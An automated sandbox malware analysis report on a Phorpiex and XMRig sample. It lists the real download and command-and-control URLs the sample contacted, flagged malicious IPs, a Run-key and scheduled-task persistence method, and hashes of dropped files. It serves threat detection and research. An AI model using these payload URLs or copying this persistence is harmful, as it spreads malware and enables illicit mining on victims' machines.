http://185.215.113.66/3	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/2	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/ws	Us051y7j25.exe, 00000000.00000003.2341074992.00000000008F1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/1FR	sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/1C:	sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/3_R	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://github.com/Pester/Pester	powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/1	sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000726000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000725000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/1_R	sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/reg.php?s=%sMozilla/5.0	2314627202.exe, 0000001A.00000002.2688482531.0000000000872000.00000002.00000001.01000000.0000000A.sdmp, 2314627202.exe, 0000001A.00000000.2647768559.0000000000872000.00000002.00000001.01000000.0000000A.sdmp	false		unknown
http://91.202.233.141//Rg	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/1t	sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000726000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000725000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://91.202.233.141/4r	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/tdrp.exe%s:Zone.Identifier/c	21324.scr, 00000003.00000002.2377755472.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000000.2346481586.0000000000410000.00000002.00000001.01000000.00000006.sdmp, 21324.scr, 00000003.00000003.2367229368.00000000007C7000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000000.2367149756.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000004.00000002.3513091368.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000000.2471335406.0000000000410000.00000002.00000001.01000000.00000007.sdmp, sysppvrdnvs.exe, 00000012.00000002.2492028868.0000000000410000.00000002.00000001.01000000.00000007.sdmp	false		unknown
http://185.215.113.66/1tR	sysppvrdnvs.exe, 00000004.00000003.2480886965.0000000000734000.00000004.00000020.00020000.00000000.sdmp, sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/5C:	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.84/nxmr.exeM	1091722296.exe, 0000001B.00000002.2814772306.000000000123E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/2zR	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000734000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.84/	1091722296.exe, 0000001B.00000002.2814772306.0000000001253000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.84/nxmr.exeF	1091722296.exe, 0000001B.00000002.2814772306.000000000123E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://schemas.xmlsoap.org/wsdl/	powershell.exe, 0000001E.00000002.2891902429.0000025209649000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3020507274.0000015D80229000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.84/nxmr.exeH	1091722296.exe, 0000001B.00000002.2814772306.000000000123E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/1$	sysppvrdnvs.exe, 00000004.00000003.2445858341.0000000000726000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://xmrig.com/docs/algorithms	winupsecvmgr.exe, 00000022.00000002.3142710101.00007FF7AD1CB000.00000004.00000001.01000000.00000010.sdmp	false		unknown
http://91.202.233.141/tography	sysppvrdnvs.exe, 00000004.00000002.3515115127.00000000006D9000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/tdrpl.exel	Us051y7j25.exe, 00000000.00000003.2341630604.00000000008EC000.00000004.00000020.00020000.00000000.sdmp, Us051y7j25.exe, 00000000.00000002.2346965220.00000000008EC000.00000004.00000020.00020000.00000000.sdmp	false		unknown
https://aka.ms/pscore68	powershell.exe, 0000001E.00000002.2891902429.0000025209421000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000023.00000002.3020507274.0000015D80001000.00000004.00000800.00020000.00000000.sdmp	false	URL Reputation: safe	unknown
http://185.215.113.66/tdrpl.exeC:	Us051y7j25.exe, 00000000.00000003.2341698411.0000000000913000.00000004.00000020.00020000.00000000.sdmp, Us051y7j25.exe, 00000000.00000003.2341074992.000000000090E000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/tdrpl.exen	Us051y7j25.exe, 00000000.00000003.2341630604.00000000008DA000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/tdrp.exe	sysppvrdnvs.exe	false		unknown
http://185.215.113.66/4MMC:	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000750000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/3405117-2476756634-1003$	Us051y7j25.exe, 00000000.00000003.2341074992.00000000008F1000.00000004.00000020.00020000.00000000.sdmp	false		unknown
http://185.215.113.66/2t	sysppvrdnvs.exe, 00000004.00000002.3515115127.0000000000719000.00000004.00000020.00020000.00000000.sdmp	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.66	twizthash.net	Portugal	206894	WHOLESALECONNECTIONSNL	true
198.163.192.16	unknown	United States	7029	WINDSTREAMUS	false
91.202.233.141	unknown	Russian Federation	9009	M247GB	true
90.156.162.125	unknown	Russian Federation	25532	MASTERHOST-ASMoscowRussiaRU	false
78.37.229.249	unknown	Russian Federation	12389	ROSTELECOM-ASRU	false
91.246.92.22	unknown	Russian Federation	42673	SKYWARE-ASPL	true
89.218.239.82	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
95.58.216.162	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
37.151.113.156	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
5.237.148.223	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
92.47.47.166	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false
85.233.153.109	unknown	Russian Federation	12389	ROSTELECOM-ASRU	true
93.188.83.238	unknown	Russian Federation	43746	SAKH9-NETWORKRU	true
151.243.242.97	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	true
59.91.192.122	unknown	India	9829	BSNL-NIBNationalInternetBackboneIN	false
85.173.115.180	unknown	Russian Federation	43132	KBT-ASBranchformerKabbalktelecomRU	true
185.215.113.84	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
178.91.91.225	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	true
90.156.163.121	unknown	Russian Federation	25532	MASTERHOST-ASMoscowRussiaRU	true
2.178.164.63	unknown	Iran (ISLAMIC Republic Of)	12880	DCI-ASIR	false
94.158.52.97	unknown	Uzbekistan	43060	IPLUS-ASUZ	true
197.165.192.61	unknown	Egypt	24863	LINKdotNET-ASEG	false
94.183.35.46	unknown	Iran (ISLAMIC Republic Of)	31549	RASANAIR	false
90.156.163.55	unknown	Russian Federation	25532	MASTERHOST-ASMoscowRussiaRU	true
213.230.97.241	unknown	Uzbekistan	8193	BRM-ASUZ	true
46.100.164.239	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
77.240.41.3	unknown	Kazakhstan	41371	BIKADAKZ	true
5.239.153.192	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	false
90.156.160.66	unknown	Russian Federation	25532	MASTERHOST-ASMoscowRussiaRU	true
178.22.171.158	unknown	Kazakhstan	41798	TTC-ASJSCTranstelecomKZ	false
213.206.45.227	unknown	Uzbekistan	29385	BUZTON-JV-ASUZ	true
239.255.255.250	unknown	Reserved	unknown	unknown	false
78.39.234.9	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
62.209.135.143	unknown	Uzbekistan	34718	TPSUZ-ASUZ	true
2.181.31.167	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
94.230.230.211	unknown	Uzbekistan	29385	BUZTON-JV-ASUZ	false
80.191.218.209	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
88.151.180.214	unknown	Kazakhstan	41371	BIKADAKZ	false
188.212.80.105	unknown	Iran (ISLAMIC Republic Of)	58224	TCIIR	true
88.204.242.226	unknown	Kazakhstan	9198	KAZTELECOM-ASKZ	false

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1542687
Start date and time:	2024-10-26 07:25:10 +02:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 10m 16s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	46
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	Us051y7j25.exe renamed because original name is a hash value
Original Sample Name:	fdbf0c19ebcafcf5e4295edc9e4a37836ba580b9a4d63b2a9ccdf8418ed5fe84.exe
Detection:	MAL
Classification:	mal100.troj.evad.mine.winEXE@64/42@1/40
EGA Information:	Successful, ratio: 64.3%
HCA Information:	Successful, ratio: 75% Number of executed functions: 89 Number of non-executed functions: 181
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, WmiPrvSE.exe, schtasks.exe
Excluded IPs from analysis (whitelisted): 20.109.209.108
Excluded domains from analysis (whitelisted): redir.update.msft.com.trafficmanager.net, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, www.update.microsoft.com, otelrules.afd.azureedge.net, ctldl.windowsupdate.com, azureedge-t-prod.trafficmanager.net, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target 1239611256.exe, PID 2052 because it is empty
Execution Graph export aborted for target powershell.exe, PID 3184 because it is empty
Execution Graph export aborted for target powershell.exe, PID 6432 because it is empty
Execution Graph export aborted for target winupsecvmgr.exe, PID 4044 because it is empty
Execution Graph export aborted for target winupsecvmgr.exe, PID 5352 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtCreateKey calls found.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
01:26:33	API Interceptor	162980x Sleep call for process: sysppvrdnvs.exe modified
01:26:33	API Interceptor	116x Sleep call for process: powershell.exe modified
01:27:45	API Interceptor	135x Sleep call for process: conhost.exe modified
07:26:31	Autostart	Run: HKLM\Software\Microsoft\Windows\CurrentVersion\Run Windows Settings C:\Windows\sysppvrdnvs.exe
07:27:23	Task Scheduler	Run new task: Microsoft Windows Security path: C:\Users\user\Microsoft Windows Security\winupsecvmgr.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.66	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66/3
	bBcZoComLl.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/4
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	GGXhCiYFBw.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	0NSjUT34gS.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66/5
	file.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66/3
	SecuriteInfo.com.Trojan.DownLoader46.2135.11116.25434.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66/2
	file.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66/6
	file.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66/1
91.202.233.141	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/dwntbl
	bBcZoComLl.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/5
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/4
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/2
	GGXhCiYFBw.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/4
	0NSjUT34gS.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	91.202.233.141/1
	file.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/5
	SecuriteInfo.com.Trojan.DownLoader46.2135.11116.25434.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/5
	file.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/6
	file.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141/5

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
s-part-0017.t-0009.t-msedge.net	Ondso1o6Yz.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	gEP8SOoakR.exe	Get hash	malicious	Unknown	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	https://load.aberegg-immobilien.ch/	Get hash	malicious	HTMLPhisher	Browse	13.107.246.45
	file.exe	Get hash	malicious	Stealc	Browse	13.107.246.45
	http://mychronictravel.eu.org/	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://docs.google.com/drawings/d/1igp9x84Q_2r8qSa1YDSk9dpVvjHGWjRjQMSbSGGfj2M/preview?pli=1VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv689W8l3mkPZmP2UR2g0HlFBjRUIoZvJzUgEXisf43J0VKXX1Bv	Get hash	malicious	Unknown	Browse	13.107.246.45
	https://certify.us.com/D5QkoQ3Eniw4G2APQ3ED5QpQ3E4RAionz01coq01	Get hash	malicious	Unknown	Browse	13.107.246.45
	Rob.Kuster@stonhard.com.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
	zip file.zip	Get hash	malicious	HTMLPhisher, Mamba2FA	Browse	13.107.246.45
twizthash.net	bBcZoComLl.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66
	GGXhCiYFBw.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66
	0NSjUT34gS.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	185.215.113.66
	1mqzOM6eok.exe	Get hash	malicious	Xmrig	Browse	185.215.113.66

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WINDSTREAMUS	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	162.39.136.54
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	98.23.44.145
	la.bot.powerpc.elf	Get hash	malicious	Unknown	Browse	216.215.215.147
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	64.118.136.21
	la.bot.sparc.elf	Get hash	malicious	Unknown	Browse	98.19.174.144
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	209.178.181.240
	botnet.arm5.elf	Get hash	malicious	Mirai, Moobot	Browse	75.91.53.91
	botnet.mips.elf	Get hash	malicious	Mirai, Moobot	Browse	173.186.46.250
	botnet.m68k.elf	Get hash	malicious	Mirai, Moobot	Browse	216.245.28.77
	botnet.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	72.242.215.117
WHOLESALECONNECTIONSNL	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse	185.215.113.66
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
M247GB	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse	91.202.233.141
	botnet.spc.elf	Get hash	malicious	Mirai, Moobot	Browse	37.120.192.49
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	77.36.125.19
	la.bot.sh4.elf	Get hash	malicious	Unknown	Browse	172.94.54.116
	la.bot.arm.elf	Get hash	malicious	Unknown	Browse	154.17.88.71
	hmips.elf	Get hash	malicious	Unknown	Browse	213.182.204.57
	arm7.elf	Get hash	malicious	Unknown	Browse	213.182.204.57
	n3GMxqBnUE.exe	Get hash	malicious	Unknown	Browse	172.86.80.42
	n3GMxqBnUE.exe	Get hash	malicious	Unknown	Browse	172.86.80.42
	la.bot.mipsel.elf	Get hash	malicious	Unknown	Browse	38.201.120.183
MASTERHOST-ASMoscowRussiaRU	la.bot.arm5.elf	Get hash	malicious	Unknown	Browse	90.156.164.196
	arm7.elf	Get hash	malicious	Unknown	Browse	84.252.144.208
	ppc.elf	Get hash	malicious	Mirai	Browse	84.252.144.232
	bBcZoComLl.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	90.156.163.33
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	90.156.163.33
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	90.156.162.20
	GGXhCiYFBw.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	90.156.162.101
	na.elf	Get hash	malicious	Mirai	Browse	84.252.144.254
	0NSjUT34gS.exe	Get hash	malicious	Phorpiex, Xmrig	Browse	90.156.194.154
	CI7IM149dR.exe	Get hash	malicious	XWorm	Browse	87.242.106.13

JA3 Fingerprints

⊘No context

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\tdrpl[1].exe	thcdVit1dX.exe	Get hash	malicious	Phorpiex	Browse
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\nxmr[1].exe	bBcZoComLl.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	file.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	dgiX55cHyU.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	GGXhCiYFBw.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	0NSjUT34gS.exe	Get hash	malicious	Phorpiex, Xmrig	Browse
	1mqzOM6eok.exe	Get hash	malicious	Xmrig	Browse

Created / dropped Files

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\1881231804.exe.log

Download File

Process:	C:\Users\user\AppData\Local\Temp\1881231804.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	425
Entropy (8bit):	5.357964438493834
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6Khav:ML9E4KQwKDE4KGKZI6Khk
MD5:	D8F8A79B5C09FCB6F44E8CFFF11BF7CA
SHA1:	669AFE705130C81BFEFECD7CC216E6E10E72CB81
SHA-256:	91B010B5C9F022F3449F161425F757B276021F63B024E8D8ED05476509A6D406
SHA-512:	C95CB5FC32843F555EFA7CCA5758B115ACFA365A6EEB3333633A61CA50A90FEFAB9B554C3776FFFEA860FEF4BF47A6103AFECF3654C780287158E2DBB8137767
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\1[1]

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	110600
Entropy (8bit):	7.998486619051527
Encrypted:	true
SSDEEP:	3072:LFQC4AbS79Bo0bTtS3v4P09loyBE7QXNn8IJrF:LFQC4A+7jfiw8HoyYQXdXF
MD5:	1FCB78FB6CF9720E9D9494C42142D885
SHA1:	FEF9C2E728AB9D56CE9ED28934B3182B6F1D5379
SHA-256:	84652BB8C63CA4FD7EB7A2D6EF44029801F3057AA2961867245A3A765928DD02
SHA-512:	CDF58E463AF1784AEA86995B3E5D6B07701C5C4095E30EC80CC901FFD448C6F4F714C521BF8796FFA8C47538BF8BF5351E157596EFAA7AB88155D63DC33F7DC3
Malicious:	false
Preview:	NGS!.....8y....j...x9"{[&..TL..,..L.nD..70Ln..MP.B..e...'.LpVJ...g...Y....]...h=....Ot(.P:...jjoF.....2y....:.P@.b...6]u...D\..i4<....Q?......._;]..!.A.4.A......1..c.sa^.+dQ!xl.6Q..8w...a7?..].T%:...H.1....$.j.......4f.k!...p.Fz.v..........?l...5...7...(.....=c.s..c.F.{..-.uE.8.D....QF...\|.8.ey.3'.@<Kq.."S.-..?..4.s......S..2..j=.e..Le.....Yh....+...[}AM.,.@...gW\..Z)..ET.../\|."...b.W........Ro.......j.(\|A,....>.?.1;..>......".&.....;u.c.y..[....t..`...w ..#.....c.dyy...s..G.x_C.h...I]..D....ey...:.FQ.Q...C.. .B.Z.n.2...@X.&>UY.g..D...YZ.)F.!..F...F...e....h4VGK.>.V......3#+.$.,.&.S...lk..I.F\..C.k$).J._l\.",.0u!.k..T....}.V...!..Y.....B....{}.....nAL...[.Xo[+.1\...m.,.^.bLMD.j.-g...... <._8d+-D./.k<..'.....dv...-.Q...i.`........N4W(._"..%.....5q..844o4..g..d..x....s...i.fc.....D..^..].....M(...A..[...gB4..m.w..AV....@.g..5.4.].....BLr!n....W.G,6+uY..9U.4..........O..P....&....?.....v.K.i..>X...7Dt...o=.2........f....bi..C.5N.>.7lf.......^..@F.O

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\3[1]

Download File

Process:	C:\Windows\sysppvrdnvs.exe
File Type:	data
Category:	dropped
Size (bytes):	16128
Entropy (8bit):	7.988295567506313
Encrypted:	false
SSDEEP:	384:LrvXDxrJBiEAkcXzGE+qHYhew/F2Nyoot52DzPW7L:LrvXVJ0MUzj+qH6T2Uoot8DzPu
MD5:	1568EFB715BD9797610F55AA48DFB18E
SHA1:	076C40D61A821CF3069508EE873F3D4780774CB3
SHA-256:	F42EF51C4C7C8F607A0405848593369BFC193B771E8ED687540632CAD1376216
SHA-512:	03D4357A8A1FAA9110FB023E4C504BCB284D6665848C2918A543C1928FFAC78FDF573D201932517C23A22A6E50C3DDD9D9035BBF8E735DDAE3BC0FEA8949F7E8
Malicious:	false
